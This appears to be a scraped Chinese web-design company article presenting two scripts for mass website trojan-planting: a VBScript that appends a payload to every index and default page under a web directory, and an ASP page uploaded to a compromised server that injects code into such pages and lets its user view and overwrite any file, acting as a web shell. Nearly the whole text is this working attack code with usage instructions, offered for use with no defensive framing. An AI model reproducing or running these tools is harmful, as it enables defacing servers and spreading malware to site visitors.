這篇文章主要為大家展示了“批量掛馬vbs腳本代碼的示例分析”，內(nèi)容簡而易懂，條理清晰，希望能夠幫助大家解決疑惑，下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“批量掛馬vbs腳本代碼的示例分析”這篇文章吧。

成都網(wǎng)站設(shè)計、成都網(wǎng)站建設(shè),成都做網(wǎng)站公司-創(chuàng)新互聯(lián)公司已向上1000家企業(yè)提供了,網(wǎng)站設(shè)計,網(wǎng)站制作,網(wǎng)絡(luò)營銷等服務(wù)!設(shè)計與技術(shù)結(jié)合,多年網(wǎng)站推廣經(jīng)驗,合理的價格為您打造企業(yè)品質(zhì)網(wǎng)站。

scan.vbe
cscript scan.vbe web目錄
程序代碼：

'版權(quán)信息
br="************************************" & vbCrLf
br=br & "* VBS 批量掛馬腳本 *" & vbCrLf
br=br & "* BY BanLG *" & vbCrLf
br=br & "************************************" & vbCrLf & vbCrLf
br=br & "cscript scan.vbe D:\" & vbCrLf 

'馬的地址
ma="" 
'要掛馬的頁面如果嫌不夠還可以自己再加，記得要用”|”隔開
MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"
'以"|"為分隔符拆分成數(shù)組
MyArray = Split(MyString, "|", -1, 1)

web=WScript.Arguments(0)

'如果web為空退出腳本
if web="" then
Wscript.echo (br)
window.Close
end if

Wscript.echo (br) & "馬的地址：" & ma & vbCrLf & vbCrLf
'創(chuàng)建對象
Set fso = createObject("Scripting.FileSystemObject")

'開始掃描掛馬
scan(web)

'scan定義函數(shù),掃描查找符合條件的文件把馬的內(nèi)容寫到文件的結(jié)尾
sub scan(filesder) 
set filesder=fso.getfolder(filesder)
'得到當(dāng)前目錄的所有文件集合
set files=filesder.files 
'獲取文件名
for each fext in files
Set file1 = fso.GetFile(fext)
filesext=file1.Name
'把文件名轉(zhuǎn)換成小寫字母
ext=lcase(filesext) 
For Each index in MyArray
'判斷文件是不是我們在MyString里限定的文件，如果是就寫馬
if ext=lcase(index) then
Set ts = fso.OpenTextFile(fext,8) '打開文件并在文件末尾進(jìn)行寫操作
ts.WriteLine(ma)
ts.Close
echo=""
echo=fext & " ………….ok"
Wscript.echo (echo)
end if
next
next

set subfolders=filesder.subfolders
for each subfolder in subfolders '搜索其他目錄,遞歸調(diào)用
scan(subfolder)
next 
end sub


FSO掛馬.asp
傳進(jìn)服務(wù)器以后 直接輸入需要掛馬的路徑就可以直接掛了
程序代碼：

<%Server.ScriptTimeout=10000
Response.Buffer=False
%>



<**** http-equiv="Content-Type" content="text/html; charset=gb2312">


<%
ASP_SELF=Request.ServerVariables("PATH_INFO")

s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")

If ex<>"" AND pth<>"" Then
select Case ex
Case "edit"
CALL file_show(pth)
Case "save"
CALL file_save(pth)
End select
Else
%>
" method="POST">
FOLDER (ABSOLUTE PATH):



<%End If%>
<%
Function IsPattern(patt,str)
Set regEx=New RegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
Set regEx=Nothing
If retVal=True Then
IsPattern=True
Else
IsPattern=False
End If
End Function

If IsPattern("[^ab]{1}:{1}(\\|\/)",s) Then
sch s
Else
If s<>"" Then Response.Write "Invalid Agrument!"
End If

Sub sch(s)
oN eRrOr rEsUmE nExT
Set fs=Server.createObject("Scripting.FileSystemObject")
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
rtn=f.Path
step_all rtn
Next
If sf.Count<>0 Then
For Each l In sf
sch l
Next
End If
End Sub

Sub step_all(agr)
retVal=IsPattern("(\\|\/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)
If retVal Then
step1 agr
step2 agr
Else
Exit Sub
End If
End Sub
%>
<%Sub step1(str1)%>
?ex=edit&pth=<%=str1%>" target="_blank"><%=str1%>

<%End Sub%>
<%
Sub step2(str2)
addcode=""
Set fs=Server.createObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
If isExist Then
Set f=fs.GetFile(str2)
Set f_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Write addcode
f_addcode.Close
Set f=Nothing
End If
Set fs=Nothing
End Sub
%>
<%
Sub file_show(fname)
Set fs1=Server.createObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
If isExist Then
Set fcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Set fs1=Nothing%>
FILE: <%=fname%>
" method="POST">
<%=cnt%>
">



<%Else%>

THE FILE IS NOT EXIT OR HAVE deleteD.

<%
End If
End Sub
%>
<%
Sub file_save(fname)
Set fs2=Server.createObject("Scripting.FileSystemObject")
Set newf=fs2.createTextFile(fname,True)
newf.Write newcnt
newf.Close
Set fs2=Nothing
Response.Write "

THE FILE WAS MODIFIED SUCCESSFULLY.

" 
End Sub
%>

以上是“批量掛馬vbs腳本代碼的示例分析”這篇文章的所有內(nèi)容，感謝各位的閱讀！相信大家都有了一定的了解，希望分享的內(nèi)容對大家有所幫助，如果還想學(xué)習(xí)更多知識，歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道！

當(dāng)前標(biāo)題：批量掛馬vbs腳本代碼的示例分析-創(chuàng)新互聯(lián)
URL標(biāo)題：http://weahome.cn/article/djssgc.html